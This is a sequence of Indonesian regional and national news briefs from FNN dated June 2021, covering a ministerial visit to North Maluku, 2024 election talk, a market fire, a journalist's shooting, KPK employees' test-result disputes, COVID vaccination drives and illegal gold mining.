Ternate, FNN - Pemerintah Provinsi (Pemprov) Maluku Utara (Malut) mengungkapkan tujuh menteri akan melakukan serangkaian kunjungan kerjanya di Malut sekaligus melihat aktivitas pertambangan di Kabupaten Halmahera Tengah dan Halmahera Selatan. "Sebagaimana tertuang dalam 'rundown' kegiatan kunjungan, para menteri dan rombongan akan berangkat dari Jakarta menuju Maluku Utara pada hari Selasa tanggal 22 Juni 2021 dengan tujuan Weda dan dijemput oleh Gubernur Maluku Utara. Setelah kegiatan di Weda, gubernur dan para menteri akan menuju Ternate dan langsung ke Sofifi," kata Kepala Kepala Biro Administrasi Pimpinan Pemprov Malut, Rahwan K Suamba kepada ANTARA, Senin. Rahwan menyatakan Gubernur Maluku Utara KH Abdul Gani Kasuba dipastikan akan menjemput dan mendampingi langsung rangkaian kegiatan kunjungan Menteri Koordinator Kemaritiman dan Investasi Luhut Binsar Pandjaitan,M.PA, Menteri Dalam Negeri Prof, Drs. H.Muhammad Tito Karnavian, Menteri Energi dan Sumber Daya Mineral Ir. Arifin Tasrif. Menteri Perhubungan Ir. Budi Karya Sumadi , Menteri Investasi Bahlil Lahadalia SE, Menteri Pekerjaan Umum dan Perumahan Rakyat Dr.Ir. H. Basuki Hadimuljono M.Sc, Menteri Agraria dan Tata Ruang (ATR)/BPN DR Sofyan A Jalil dan sejumlah perwakilan kementerian Lingkungan hidup dan Kehutanan, Dirjen Bea Cukai Kementerian Keuangan dan Perwakilan Kepolisian Republik Indonesia. Menurut dia, setelah tiba di Sofifi, rombongan menteri akan menggelar rapat koordinasi dengan pemerintah daerah untuk membahas Pengembangan Wilayah dan Percepatan Pembangunan Infrastruktur di Provinsi Maluku Utara. Dalam rakor nanti juga, gubernur akan mempresentasikan rencana pembangunan kawasan khusus ibukota Sofifi provinsi Maluku Utara dan pembangunan secara utuh di seluruh wilayah di provinsi Maluku Utara. Kemudian para menteri kabinet akan meninjau perumahan ASN dan rusun sebelum kembali ke Ternate, pada esok hari Rabu tanggal 23 Juni 2021, rombongan didampingi gubernur akan menuju Labuha dan pulau Obi Kabupaten Halmahera Selatan. Tim advance dipimpin oleh Dr Ir Djoko Hartoyo M.Mar Sc yang juga Asisten Deputi Infrastruktur Pengembangan Wilayah langsung menggelar rapat bersama dengan Pemerintah provinsi Maluku Utara di Royal Resto dipimpin oleh staf Ahli Bidang Politik, Hukum dan Pemerintahan Idham Umasangadji. Ikut hadir dalam rapat finalisasi sejumlah instansi terkait seperti perwakilan Polda Malut, Korem 152 Babullah, KSOP dan Basarnas Malut dan pimpinan OPD terkait lingkup Provinsi Maluku Utara. Rombongan kemudian kembali ke Labuha dan akan melanjutkan perjalanan ke kabupaten Morowali Sulawesi Tengah. (sws)

Politikus: Komunitas Jokowi-Prabowo Tak Goyahkan Sikap Kenegarawan

Semarang, FNN - Politikus Partai Golkar H.M. Iqbal Wibisono yakin Presiden RI Joko Widodo dan Menteri Pertahanan Prabowo Subianto tidak akan terpengaruh dengan keberadaan Komunitas Jokowi-Prabowo 2024 jika melihat sikap kenegarawan kedua tokoh bangsa ini. "Saya berkeyakinan sesuatu yang tidak mungkin terjadi karena pertimbangan konstitusi telah mengatur bahwa presiden maksimal bisa menjabat 2 periode atau 10 tahun," kata Ketua DPP Partai Golkar Dr. H.M. Iqbal Wibisono, S.H., M.H. di Semarang, Senin. Menyinggung kembali pembentukan sukarelawan itu, alumnus Program Doktor (S-3) Ilmu Hukum Fakultas Hukum Universitas Diponegoro (Undip) ini mengemukakan bahwa politik sebuah persepsi yang selalu berkembang dan hidup sesuai dengan ruang dan waktu. Meskipun dalam konstitusi sudah jelas menyebutkannya, kata dia, tetap saja pada era demokrasi orang berkreasi atau mencoba berpendapat di luar pakem konstitusi, bahkan tidak ada larangan. Iqbal lantas menyebutkan UUD NRI Tahun 1945 Pasal 7 sudah menegaskan bahwa Presiden dan Wakil Presiden memegang jabatan selama 5 tahun, dan sesudahnya dapat dipilih kembali dalam jabatan yang sama, hanya untuk satu kali masa jabatan. Di sisi lain, lanjut Iqbal, Presiden Jokowi selalu menyampaikan tidak mungkin maju lagi pada Pilpres 2024, malah enggan berbicara amendemen UUD NRI Tahun 1945, terlebih lagi menyangkut masa jabatan presiden/wakil presiden. "Isyarat atau sikap yang demikian ini memberikan kesempatan kepada tokoh bangsa lainnya untuk berminat dan bersiap-siap menjadi calon presiden pada periode 2024—2029," kata Iqbal. Ia mengutarakan bahwa jadwal pelaksanaan pilpres pada tanggal 28 Februari 2024 sehingga cukup waktu bagi bakal calon presiden/wakil presiden dan/atau partai politik yang akan mengikuti kontestasi politik pada tahun tersebut. Oleh sebab itu, perlu mempersiapkan diri sedini mungkin untuk meraih kemenangan pada pemilu anggota legislatif dan Pilpres 2024. Untuk memenangi dua pemilu yang pelaksanaannya secara serentak itu, menurut Iqbal, memerlukan energi yang luar biasa. Iqbal lantas menyebutkan hal-hal yang bakal menentukan kemenangan parpol pada pileg maupun pilpres, antara lain sumber daya tokoh yang layak jual, struktur partai yang kuat, jaringan sosial yang kuat, finansial yang kuat, serta sarana dan prasarana lain sebagai pendukung. Selain itu, kata dia, harus cerdas membaca kencenderungan persepsi masyarakat dengan mencermati hasil survei dari sejumlah lembaga survei. "Hasil survei ini cenderung menjadi kebutuhan atau pertimbangan utama sebelum menentukan sikap dan langkah para calon untuk memasuki gelanggang pertempuran pada tahun 2024," katanya. Ia mencontohkan Partai Golkar dalam hasil rapimnas pada bulan Maret 2021 telah memutuskan mengusung Ketua Umum Airlangga Hartarto sebagai calon presiden pada tahun 2024. Di samping itu, lanjut dia, ada sederet nama lain, seperti Puan Maharani dan Ganjar Pranowo dari PDIP, serta banyak nama lain sebagai tokoh bangsa yang ingin mendarmabaktikan untuk kejayaan Indonesia ke depan. (sws)

Aktivis Medsos: Kritik Adalah Hak Namun Provokasi Tidak

Jakarta, FNN - Aktivis media sosial Enda Nasution mengatakan bahwa dalam iklim demokratis, aspirasi dan kritik merupakan hal yang sangat penting dalam upaya mengawasi jalannya pemerintahan. Enda, dalam keterangan tertulis yang diterima di Jakarta, Senin,mengungkapkan yang meresahkan dewasa ini adalah oknum-oknum yang justru mencederai hak-hak bersuaranya melalui serangkaian provokasi berkedok kritik di dunia maya. ”Sejatinya kritik di dalam sistem demokrasi merupakan hak warga yang tidak bisa direnggut, di mana kebebasan untuk berbicara pun dijamin oleh Undang-Undang (UU),” ujar Enda Nasution yang juga dijuluki Bapak Bloger Indonesia tersebut. Enda setuju bahwa kritik berfungsi untuk mengawasi jalannya pemerintahan dan harus dipahami bahwasanya opini yang datang kepada pemerintah tidak selalu datang dalam bentuk positif tapi bisa juga negatif. “Namun ketika (opini, pendapat dan aspirasi) sudah mengajak untuk melakukan sesuatu secara bersama-sama apalagi menuju anarki, itu menjadi sebuah provokasi,” ujar Enda. Menurut dia, pemerintah dalam hal ini harus memposisikan diri untuk bersikap secara proporsional, terlebih dalam menanggapi kritik maupun provokasi yang tertuju pada pemerintah dengan bersikap tegas, tidak berlebihan namun tetap bijaksana. ”Seperti pada insiden pemblokiran internet di Papua yang saat itu dilakukan pemerintah melalui Kemenkominfo. Hal itu dilakukan menyusul pecahnya aksi unjuk rasa di beberapa wilayah Papua yang berujung ricuh,” terangnya. Menurut dia, hal tersebut dilakukan oleh pemerintah sebagai usaha untuk menghambat penyebaran provokasi di dunia maya pada Mei 2020 lalu. “Ketika fitnah dan provokasi datang dari seorang tokoh atau publik figur, maka pemerintah harus menjawab karena jika dibiarkan maka dianggap seolah-olah itu benar, jadi perlu ada respon proporsional menurut saya yaitu dengan tidak terlalu sensitif namun juga tidak bisa terlalu dibiarkan,” ujarnya. Lebih lanjut, Bapak Blogger Indonesia itu juga turut menyampaikan tips untuk masyarakat bagaimana menyampaikan aspirasi dan opini yang tepat tetapi tidak juga mencederai hak-hak bersuaranya sebagai warga negara khususnya di media sosial yang saat ini telah menjadi wadah bagi masyarakat dalam menuangkan opini dan ide-ide. “Yang pertama fokus pada masalahnya, jangan melebar, kepada pribadi seseorang atau pejabat tertentu apalagi mengungkit SARA,” jelas Enda. Selain itu, ia mengimbau kepada masyarakat untuk melengkapi opini atau kritik dengan dukungan data dan fakta. Sehingga segala yang disampaikan bisa dipertanggungjawabkan agar bisa diverifikasi kebenarannya. Kemudian ia juga mengimbau masyarakat untuk tidak menyampaikan kritik dalam keadaan emosional. ”Karena seringkali yang terjadi malah menjadikan kritik yang sebenarnya legitimate atau benar justru malah menjadi negatif bahkan provokasi hasutan,” tukasnya. Disamping itu, ia berpendapat bahwa memang sangat penting bagi masyarakat untuk bisa bijak dalam menyampaikan aspirasi dan kritiknya di sosial media melalui kampanye ‘gerakan bijak bersosmed’ yang fokus pada bagaimana kita berinteraksi dengan bijak di sosial media. “Salah satu poin yang selalu kita sampaikan di ‘gerakan bijak bersosmed’ bukan hanya penyampaian kritik namun juga tentang bagaimana kita berinteraksi secara bijak sehari-hari di sosial media,” katanya. (sws)

Polres Garut Dalami Penyebab Kebakaran Pasar Darurat di Leles

Garut, FNN - Kepolisian Resor Garut, Jawa Barat, mendalami penyebab terjadinya kebakaran pasar darurat di Alun-alun Kecamatan Leles, Kabupaten Garut, Jawa Barat, yang menghanguskan ratusan kios berikut barang dagangannya. "Kami akan lebih dalami," kata Wakil Kepala Kepolisian Resor Garut Kompol Andrey Valentino saat meninjau langsung lokasi kebakaran Pasar Leles, Senin. Ia menuturkan kepolisian mendapatkan informasi adanya kebakaran pasar darurat di Kecamatan Leles, Minggu (20/6), sekitar pukul 23.30 WIB. Kepolisian bersama petugas gabungan lainnya serta masyarakat berusaha memadamkan kobaran api tersebut agar tidak terus meluas membakar bangunan kios pasar. "Langkah yang kami ambil yang pertama bagaimana caranya kami juga dibantu oleh warga sekitar dan masyarakat sekitar untuk pertama kali memadamkan api," kata Andrey. Ia menyampaikan usaha melakukan pemadaman, jajaran kepolisian menginventarisir dampak kerugian materi dan jiwa dari kebakaran tersebut. "Kami melakukan upaya untuk melokalisir, apakah ada korban dan kemungkinan tadi baru diketahui ada kurang lebih 400 kios yang terbakar," katanya. Kepala Bidang Pasar pada Dinas Perindustrian dan Perdagangan Kabupaten Garut Asep Mulyana menambahkan kebakaran di kawasan pasar darurat di Leles itu telah banyak menghanguskan kios yang dibangun dari bahan mudah terbakar. Petugas dari Disperindag, kata dia, sudah diterjunkan ke lokasi kejadian untuk melakukan pendataan dampak kebakaran dan mencari tahu penyebab peristiwa itu. "Kami belum bisa memastikan penyebab terjadinya kebakaran," kata Asep. (sws)

Komisi III: Polri Harus Profesional Tangani Kasus Penembakan Jurnalis

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Pangeran Khairul Saleh meminta aparat kepolisian bersikap profesional dan transparan dalam mengungkap kasus penembakan yang dialami jurnalis bernama Mara Salem Harahap (42) di Sumatera Utara. Karena itu, dia meminta Polri mengungkap dan menangkap dalang dan pelaku serta motif kejadian tersebut kepada publik. "Saya mengecam keras atas kejadian tertembaknya Mara Salem oleh orang tidak dikenal (OTK). Saya juga berharap agar aparat Kepolisian segera menangkap siapa dalang dan pelaku serta sekaligus mengungkap motif yang melatar belakangi kejadian tersebut," kata Pangeran Khairul Saleh di Jakarta, Senin. Dia mengatakan kerja cepat dan kerja keras Kepolisian untuk segera mencari pelaku merupakan ujian bagi Kapolri Jenderal Pol Listyo Sigit untuk membuktikan institusinya hadir memberikan rasa aman dan berkeadilan dalam menindak pelaku kejahatan di Indonesia. Terutama, menurut dia, kejahatan tersebut menimpa insan pers yang berdasarkan UU nomor 40 tahun 1999 tentang Pers dinyatakan bahwa dalam menjalankan kerja jurnalistik perlu mendapatkan perlindungan hukum. "Saya juga berharap seperti yang pernah disampaikan Kapolri saat menjalani uji kelayakan di Komisi III DPR bahwa kepolisian akan bekerja lebih profesional dan transparan sesuai 'tag line' Kepolisian yang baru yaitu Prediktif, Responsibilitas, Transparansi, dan Berkeadilan (Presisi)," ujarnya. Politisi PAN itu meminta masyarakat untuk menyerahkan dan mempercayakan penyelesaian kasus tersebut kepada aparat Kepolisian. Dia juga meminta masyarakat mengawal secara bersama kasus tersebut agar penyelesaian masalah tersebut dapat dibuka secara transparan dan akuntabel. "Penyelesaian masalah ini dapat dibuka secara transparan dan akuntabel agar kepercayaan publik terhadap kepolisian semakin meningkat," katanya. Selain itu dia berharap agar kasus serupa tidak terjadi lagi sebagaimana dipemberitaan bahwa masalah kekerasan terhadap insan pers masih sering terjadi. Sebelumnya, seorang jurnalis bernama Mara Salem Harahap (42) tewas karena diduga ditembak orang tak dikenal (OTK) tidak jauh dari rumahnya, di Desa Karang Anyar, Kecamatan Gunung Maligas, Kabupaten Simalungun, Sumatera Utara, Sabtu (19/6) dini hari. Korban diduga tewas setelah ditembak orang tidak dikenal saat dia berada di dalam mobilnya. (sws)

Basarnas Banten Temukan Jasad Santri di Pantai Karangseke

Lebak, FNN- Badan Pencarian dan Pertolongan Nasional (Basanas) Banten pada hari ketiga pencarian menemukan jasad seorang santri yang terseret ombak pada Sabtu (19/6), di Pantai Karangseke perairan Binuangeun, Kabupaten Lebak. "Jasad seorang santri yang diketahui bernama Hadi (17) warga Panunggulan, Serang itu kini dibawa oleh keluarga untuk dimakamkan," kata Humas Basarnas Banten Sito Warsito, di Lebak, Senin. Tim evakuasi gabungan yang melibatkan Rescue KP&P Banten, TNI, Polairud Polda Banten, BMKG, BPBD Lebak, PMI, relawan Balawista, dan nelayan melakukan pencarian korban hingga hari ketiga. Penemuan jasad santri itu pada Senin pukul 07.30 WIB sejauh 500 meter dari lokasi kejadian, dan korban kemudian diserahkan kepada keluarganya. Dengan demikian, kata dia, pencarian seorang santri dihentikan dan lembaga masing-masing kembali ke kesatuannya. Pencarian korban di Pantai Karangseke, perairan Binuangeun dengan menggunakan alat rescue car, rubber boat, motor tempel 35 PK, palsar komunikasi dan palsar medis serta APD hazmat. "Kami sekarang fokus pencarian ABK pada hari keenam di perairan Salira yang belum ditemukan," katanya pula. (sws)

Memburu Hasil Tes Wawasan Kebangsaan KPK

Jakarta, FNN - Secara teratur pada 5 Mei 2021 pagi, para pejabat struktural eselon 1 dan 2 KPK, lima orang pimpinan KPK yaitu Firli Bahuri, Alexander Marwata, Lili Pintauli Siregar, Nurul Ghufron dan Nawawi Pomolango memasuki salah satu ruang di gedung Merah Putih KPK. Bersama mereka hadir pula lima orang Dewan Pengawas KPK: Tumpak Hatorangan Panggabean, Albertina Ho, Syamsuddin Haris, Indriyanto Seno Adji dan Haryono. Bersama-sama mereka akan membuka satu lemari besi berisi kotak-kotak tersegel. Di kotak-kotak tersebut, tersimpan hasil Tes Wawasan Kebangsaan (TWK) yang diikuti 1.351 orang pegawai KPK sebagai syarat alih status menjadi Aparatur Sipil Negara. Pada 5 Mei 2021 dipilih sebagai waktu untuk membuka "kotak pandora" karena baru pada 4 Mei 2021 lah Mahkamah Konstitusi memutuskan permohonan "judicial review" terkait Undang-Undang No 19 tahun 2019 tentang Perubahan Kedua atas UU No 30 tahun 2002 tentang Komisi Pemberantasan Tindak Pidana Korupsi. Dalam "judicial review" tersebut juga memuat putusan MK mengenai status para pegawai KPK yang akhirnya tetap mengikuti isi UU No 19 tahun 2019. Deputi Pencegahan Pahala Nainggolan menjadi salah satu orang yang mendapat kesempatan untuk mengambil secara acak lembar penilaian dari dalam kotak-kota tersebut. Lembaran tersebut memuat nama, nomor pokok pegawai (NPP) KPK serta penilaian panjang lebar yang diberikan asesor saat menguji pegawai KPK. Pahala diketahui juga menjadi peserta ujian, ia pun hanya sekilas saja memeriksa lembar penilaian tersebut. Selanjutnya perwakilan eselon 1 dan 2 lain pun ikut mengambil secara acak hasil kerja dan memeriksa lebih jeli apa saja yang dituliskan di kertas itu. Pada kesempatan akhir, Anggota Dewan Pengawas Albertina Ho dengan cermat membaca kertas yang diambilnya dan dengan perlahan membaca apa saja penilaian yang diberikan asesor kepada para pegawai institusi penegak hukum tersebut. Berselang beberapa jam kemudian, Ketua KPK Firli Bahuri, Wakil Ketua KPK Nurul Ghufron, Anggota Dewan Pengawas Indriyanto Seno Adji dan Sekretaris Jenderal KPK Cahya Harefa memberikan pengumuman penting di ruang konferensi pers KPK. Isinya adalah dari 1.351 pegawai KPK yang mengikuti TWK ada 1.274 orang pegawai yang memenuhi syarat, sedangkan 75 orang pegawai Tidak Memenuhi syarat (TMS). Ke-75 orang yang TMS tersebut dinilai tidak memenuhi syarat untuk menjadi ASN yaitu 1. Setia dan taat pada Pancasila, UUD 1945, NKRI dan pemerintah yang sah; 2. Tidak terlibat kegiatan organisasi yang dilarang pemerintah dan atau putusan pengadilan; 3. Memiliki integritas dan moralitas yang baik Namun persoalannya, isi kertas penilaian yang menjadi keputusan akhir 75 orang pegawai disebut TMS tidak pernah dilihat oleh pegawai yang bersangkutan. Meminta hasil TWK Maka secara bertahap dan individual, para pegawai KPK yang dinyatakan TMS meminta informasi hasil tes kepada Pejabat Pengelola Informasi dan Data KPK. "Dua pegawai yang pertama meminta keterbukaan hasil adalah Iguh Sipurba dan saya. Kami telah mengirimkan permintaan keterbukaan informasi sejak 31 Mei 2021," kata Kepala Satuan Tugas Pembelajaran Internal KPK Hotman Tambunan. Permintaan itu, menurut Hotman, sesuai dengan Pasal 17 huruf h dan Pasal 18 ayat (2) huruf a UU No 14 tahun 2008 tentang Keterbukaan Informasi Publik (KIP). Pasal 17 huruf h menyatakan "Informasi Publik yang apabila dibuka dapat mengungkap rahasia pribadi termasuk adalah hasil-hasil evaluasi sehubungan dengan kapabilitas, intelektualitas, dan rekomendasi kemampuan seseorang." Sedangkan Pasal 18 ayat 2 menyatakan "Tidak termasuk informasi yang dikecualikan sebagaimana dimaksud dalam Pasal 17 huruf g dan huruf h, antara lain apabila:pihak yang rahasianya diungkap memberikan persetujuan tertulis." "Memang informasi tersebut tidak boleh dibuka institusi, yaitu KPK dan BKN (Badan Kepegawaian Negara) ke publik karena itu data pribadi tapi walau data pribadi kami pikir ya sudah buka sajalah dari pada publik bertanya-tanya apa isi sebenarnya, apa hasilnya? Kami berpikiran dari pada muncul narasi-narasi yang tidak perlu, ya dibuka saja," ungkap Hotman. Pejabat Pengelola Informasi dan Data (PPID) KPK yang dijabat oleh Kepala Biro Hubungan Masyarakat lalu membalas permintaan informasi pada Jumat, 11 Juni 2021. "Namun ada keanehan dalam jawaban yang diberikan. Dalam jawaban tersebut, PPID KPK menyatakan masih melakukan koordinasi dengan pihak Badan Kepegawaian Negara untuk pemenuhan informasi tersebut padahal sudah ada serah terima hasil TWK dari Kepala BKN kepada KPK sejak 27 April 2021," kata Iguh Sipurba, salah satu penyelidik KPK yang dinyatakan TMS. Plt Juru Bicara KPK Ali Fikri mengungkapkan KPK masih berkoordinasi dengan BKN terkait pemenuhan informasi tersebut karena salinan dokumen yang diminta bukan sepenuhnya dalam penguasaan KPK. Menurut Ali, hingga 15 Juni 2021, KPK telah menerima 30 surat permohonan permintaan Salinan Data dan Informasi terkait Tes Asesmen Wawasan Kebangsaan. Sesuai dengan Undang-Undang Nomor 14 tahun 2008 badan publik yang bersangkutan wajib menyampaikan pemberitahuan secara tertulis kepada pemohon informasi paling lambat 10 hari kerja sejak diterimanya permintaan. Selanjutnya badan publik yang bersangkutan dapat memperpanjang waktu untuk mengirimkan pemberitahuan sesuai dengan ketentuan yang berlaku paling lambat 7 hari kerja berikutnya dengan memberikan alasan secara tertulis. "KPK berupaya untuk bisa memenuhi salinan permintaan tersebut sesuai dengan ketentuan waktu yang berlaku," jelas Ali. Artinya, sejak 31 Mei 2021, batas akhir pemberitahuan kepada pegawai yang meminta hasil TWK adalah pada 22 Juni 2021. Ali menyebut data hasil TWK yang diterima KPK dari BKN merupakan data kolektif padahal data yang diminta para pegawai merupakan data pribadi masing-masing pemohon. "Sehingga sudah seharusnya KPK berkoordinasi dengan BKN dalam rangka pemenuhan permohonan tersebut. Terlebih, informasi dan data mengenai pelaksanaan TWK tidak sepenuhnya dalam penguasaan KPK," kata Ali. Perwakilan pegawai Budi Agung Nugroho mengaku ada 8 poin yang diminta pegawai dalam surat permohonan keterbukaan informasi tersebut. Delapan kelengkapan yang diminta adalah: 1. Hasil Asesmen TWK yang meliputi Tes IMB (Indeks Moderasi Bernegara dan Integritas), Tes Tertulis dan Tes Wawancara; 2. Kertas Kerja penilaian lengkap dari BKN atas hasil asesmen (untuk semua tahapan tes) yang sekurang-kurangnya memuat: a. Metodologi penilaian b. Kriteria penilaian c. Rekaman/hasil wawancara d. Analisa Assesor/pewawancara e. Saran dari Assesor/pewawancara; 3. Dasar/acuan penentuan unsur-unsur yang diukur dalam asesmen TWK; 4. Dasar/acuan penentuan kriteria Memenuhi Syarat (MS) dan Tidak Memenuhi Syarat (TMS) dalam Asesmen TWK; 5. Dasar/acuan penentuan dan penunjukan Assessor/pewawancara; 6. Data-data yang diberikan oleh KPK kepada Assessor/pewawancara, berikut alasan pemberian dan/ atau dasar hukumnya; 7. Kertas Kerja Assessor/pewawancara; 8. Berita Acara Penentuan Lulus atau Tak Lulus oleh Assessor/ Pewawancara; "Melihat dari karakteristik data yang diminta seharusnya tak butuh waktu lama untuk berkoordinasi dengan BKN sebagai pihak penyelenggara TWK. Apalagi, seharusnya semua data tersebut sudah tersedia bahkan sebelum TWK berlangsung," tambah Budi. Penyerahan data tersebut, menurut Budi, telah dilakukan di Kantor Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (MenPAN RB) pada 27 April 2021. Transparansi untuk semua Hotman mengungkapkan bahwa ia dan rekan-rekannya meminta hasil tes bukan hanya untuk kepentingan pribadi mereka. "Rohnya pemberantasan korupsi itu adalah transparansi. Kami ingin agar nanti untuk rekrutmen ASN, pejabat, guru, dokter, perawat dan pegawai lainnya supaya jangan tertutup, transparan saja," kata Hotman. Ia pun merasa heran karena KPK yang seharusnya sebagai lembaga pemberantasan korupsi menjadi institusi yang mengedepankan transparansi, akuntabiitas dan kepastian hukum tapi malah tidak memenuhi azas-azas tersebut. "Apa sih yang kami perjuangkan? Momen ini bagus supaya nanti rekrutmen PNS, dokter guru, perawat, transparanlah supaya orang-orang bisa lihat di mana lebih dan kurangnya, kalau dia gagal, dia menyadari kekurangannya," ungkap Hotman. Sedangkan terkait 8 kelengkapan TWK yang diminta pegawai, Hotman menyebut sebagai informasi dasar yang harus diketahui peserta misalanya siapa nama asesornya, apa kriteria lulus dan tidak lulus, hasil dari tes sehingga tidak ada yang aneh. Hal yang aneh, menurut Hotman, KPK sebenarnya sudah menerima seluruh hasil dan kelengkapan TWK dari BPN. "Kenapa aneh? Pada 27 April 2021 ada seremoni besar di Kemenpan-RB yang dihadiri BKN kemudian Sekjen dan Pimpinan KPK, di situ Menpan menyerahkan semuanya. KPK juga menyebut hasilnya disimpan di lemari besi, ada barangnya di situ, kemudian kami minta dibongkar kok ini malah mau berkoordinasi dulu? Padahal sebenarnya sudah menjadi milik KPK," jelas Hotman. Selanjutnya KPK bebas melakukan apa saja dengan hasil tersebut. Hotman menyebut bila setelah total 17 hari kerja respon KPK masih meminta koordinasi dengan BKN maka para pegawai dapat mengajukan adjudikasi ke Komisi Informasi Pusat maupun Pengadilan Tata Usaha Negara (PTUN). Namun Hotman masih menunggu niat baik KPK untuk menunjukkan transparansi ke publik. "Yang jelas proses rekrutmen di negara ini harus transparan sehingga tidak ada titipan-titipan yang menyakitkan publik. Kami hanya menggunakan momen ini untuk menggaungkan konsep rekrutmen ASN harus setransparan mungkin, sesuai dengan aturan hukum sehingga orang punya kesempatan yang sama untuk ikut terlibat dalam pemerintahan," tegas Hotman. Apakah perburuan tersebut dapat berhasil? (sws)

Polda Sumbar Perpanjang Vaksinasi Gratis Bagi Masyarakat

Padang, FNN - Kepolisian Daerah (Polda) Sumatera Barat (Sumbar) memperpanjang vaksinasi gratis bagi warga Kota Padang yang awalnya selama dua hari Sabtu (19/6) dan Minggu (20/6), menjadi hingga Rabu (30/6). Kabid Humas Polda Sumbar Kombes Pol Satake Bayu mengatakan vaksinasi gratis ini juga bertujuan meningkatkan capaian warga Kota Padang yang telah divaksinasi. "Kita tahu capaian cukup rendah dan program ini membantu masyarakat mendapatkan akses vaksin COVID-19," kata dia. Ia mengatakan pada hari pertama Sabtu (19/6) pelayanan pemberian vaksin COVID-19 berjumlah 683 orang. Dia merincikan 359 orang di Lapangan Imam Bonjol Padang dan 324 orang di GOR Badminton Polda Sumbar. Sedangkan pada hari kedua Minggu (20/6) sebanyak 373 orang warga di Kota Padang mendapatkan vaksin, terdiri dari 144 orang di GOR Badminton Polda Sumbar dan 229 orang di Lapangan Imam Bonjol Padang. Ia mengatakan program vaksinasi gratis ini juga dalam menyambut peringatan HUT ke-75 Bhayangkara Dia mengimbau masyarakat, khususnya di wilayah Kota Padang untuk mau divaksin, sehingga dapat menekan angka kasus terinfeksi COVID-19. "Ayo vaksin COVID-19, karena dapat meningkatkan kekebalan tubuh kita," kata dia. Kabid Dokkes Polda Sumbar Kombes Pol drg Lisda Cancer menyatakan tujuan pemberian vaksin untuk mendapatkan herd immunity (kekebalan kelompok tubuh manusia) dari pandemi. "Kalau manfaatnya, vaksin ini salah satu untuk memutus rantai atau penyebaran COVID-19," kata dia pula. Ia mengimbau kepada seluruh masyarakat agar melakukan vaksinasi COVID-19. "Jangan terpedaya dengan hoaks yang bertebaran. Salah satu upaya agar pandemi hilang adalah dengan vaksin ini," kata dia lagi. (sws)

Kapolda Jambi Minta Hentikan Aktivitas Tambang Emas Ilegal di Bungo

Jambi, FNN - Kapolda Irjen Pol A Rachmad Wibowo meminta warga Dusun Tanjung Menanti, Kelurahan Bathin II Babeko, Kabupaten Bungo, untuk menghentikan aktivitas penambangan emas tanpa izin di daerah tersebut demi kelestarian alam. Kabid Humas Polda Jambi Kombes Pol Mulia Prianto di Jambi, Senin, mengatakan permintaan Kapolda Jambi bertemu dengan perwakilan warga Dusun Tanjung Menanti, Kelurahan Bathin II Babeko, Kabupaten Bungo, saat kunjungan kerja selama tiga hari di daerah tersebut. Kombes Pol Mulia mengungkapkan Kapolda Irjen Pol A Rachmad Wibowo berpesan kepada Datuk Rio Dusun Tanjung Menanti agar menghentikan aktivitas penambangan emas tanpa izin yang semakin marak terjadi di sepanjang aliran Sungai Batang Tebo. Dalam arahannya, Kapolda Jambi mengatakan bahwa aksi penambangan emas tersebut lebih banyak efek yang merugikan dibanding keuntungan yang sifatnya sementara. Abrasi dan pendangkalan sungai terjadi dan telah mengakibatkan banjir, air sungai yang keruh berpengaruh pada perkembangbiakan ikan sehingga mengurangi hasil tangkapan para nelayan. Kemudian selain itu air raksa yang digunakan untuk memisahkan emas dengan material lainnya menyebabkan tercemarnya air sungai dan ikan dengan logam berat yang dalam waktu panjang akan mempengaruhi kualitas hidup masyarakat pesisir sungai. Kapolda Jambi, Irjen Pol A Rachmad Wobowo yang didampingi Dirreskrimum Polda Jambi, Auditor Madya Itwasda Polda Jambi dan Kabag Binkar Boro SDM Polda Jambi, berbicara dengan Bupati untuk mencari solusi alternatif mata pencaharian masyarakat selain PETI. Setelah melakukan sosialisasi kepada masyrakat yang beraktivitas Peti, jajaran Polda Jambi beserta pihak terkait akan mulai melakukan penertiban dan penindakan, sehingga dihimbau kepada warga masyarakat agar mulai membongkar sendiri peralatan Peti yang ada disepanjang aliran sungai tersebut. (sws)

Polres Muarojambi Pantau Pelaksanaan Prokes Tempat Wisata

Jambi, FNN - Anggota Polres Muarojambi melakukan pemantauan langsung ke beberapa objek wisata di Kabupaten Muarojambi, Jambi, seperti komplek percandian Muarojambi ,untuk penerapan pelaksanaan Protokol Kesehatan (Prokes) di kawasan wisata tersebut. "Selain melakukan pemantauan pelaksanaan prokes di tempat wisata tersebut, kami juga menerapkan mengecek kesiapan dari 'Kampung Tangguh' di daerah sekitar kompleks percandian dan sekitarnya yang akan menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) mikro guna mencegah penuluaran COVID-19," kata Kapolres Muarojambi AKBP Yuyan Priatmaja, Senin. Sudah beberapa lokasi wisata yang ada di Kabupaten Muarojambi yang dicek pelaksanaan prokesnya, dan polisi masih menemukan ada beberapa pengunjung melanggar prokes dengan tidak memakai masker dan kami tindak dengan memberikan hukuman seperti pushup dan lainnya kepada masyarakat yang melanggar. Kemudian kepada pengelola objek wisata tersebut diharapkan tetap menerapkan prokes bagi para pengunjung dan mengawasinya dengan ketat sehingga tidak ada muncul klaster dari tempat wisata nantinya, kata Yuyan Priatmaja. Sebelumnya Polres Muarojambi juga telah melakukan peninjauan kesiapan desa atau kampung tangguh dan pelaksaan PPKM mikro di beberapa desa di wilayah Kabupaten Muarojambi dan sekaligus melihat kesiapan rumah isolasi mandiri di perkantoran Pemkab Muarojambi. Kabupaten Muarojambi merupakan daerah penyanggah Kota Jambi yang saat ini menjadi daerah zona merah dalam penyebaran COVID-19, maka dari itu sebagai daerah terdekat dengan kota, maka Muarojambi harus siap dalam mengantisipasi penuluarannya dengan mempersiapkan desa atau kampung tangguh dengan menerapkan PPKM mirkro dengan ketat. "Karena mobilitas warga Muarojambi ke Kota dan sebaliknya cukup tinggi, maka kita harus siap untuk mengantisipasinya sehingga kasus lonjakan COVID-19 di Kabupaten Muarojambi tidak meningkat dan bisa ditekan," kata AKBP Yuyan Priatmaja. (sws)

Kalapas Rajabasa Minta Antisipasi Penyebaran COVID-19

